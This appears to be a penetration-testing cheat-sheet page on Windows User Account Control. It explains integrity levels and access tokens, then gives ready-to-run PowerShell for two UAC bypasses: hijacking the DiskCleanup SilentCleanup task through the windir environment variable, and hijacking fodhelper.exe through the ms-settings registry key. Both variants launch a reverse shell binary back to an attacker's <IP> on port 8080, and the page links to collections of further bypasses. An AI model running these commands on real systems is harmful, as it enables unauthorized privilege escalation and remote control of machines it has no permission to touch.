Home / Windows / User Account Control

User Account Control

Bypassing with DiskCleanup and FodHelper

In Windows, every securable object is assigned an integrity level so that access can be controlled.

  • Low, mainly used for internet interactions
  • Medium, default level
  • High, indicates elevated access
  • System, highest possible level

Lower integrities cannot access higher integrity levels but it is allowed reversed direction.

More UAC Bypasses:

https://github.com/rootm0s/WinPwnage

https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.002/T1548.002.md#atomic-test-5---bypass-uac-using-computerdefaults-powershell

Access Token

An access is an object that describes security context and integrity level. When a user logs in that user gets access token with a medium integrity level. When an admin logs in, they get are high integrity level.

User Account Control manages elevation between access tokens.

When having a reverse shell as a user who is Administrator and having no GUI access the process is still running at a medium integrity level. Thus we would have to bypass User Access Control

Bypass 1: DiskCleanup Scheduled Task Hijack

Using SilentCleaup scheduled task is start from a process with medium integrity level and automatically evelates to high integrity.

Set-ItemProperty -Path "HKCU:\Environment" -Name "windir" -Value "cmd.exe /K C:\Windows\Tasks\RShell.exe <IP> 8080 & REM " -Force
Start-ScheduledTask -TaskPath "\Microsoft\Windows\DiskCleanup" -TaskName "SilentCleanup"

# Cleanup
Clear-ItemProperty -Path "HKCU:\Environment" -Name "windir" -Force

Bypass 2: FodHelper Execution Hijack

fodhelper.exe has an attribute called AutoElevate, meaning when its run by a user at medium integrity level it is automatically elevated to a high integrity level.

When FodHelper is run, it attempts to read the value of the registry key "HKCU\Software\Classes\ms-settings\Shell\Open\Command". Where Shell\Open\Command tells how to open files like GIF would be opened with iexplore.exe, we can change this to cmd.

New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd" -Force

C:\Windows\System32\fodhelper.exe

Or get a revers shell

New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "C:\Windows\Tasks\RShell <IP> 8080" -Force

C:\Windows\System32\fodhelper.exe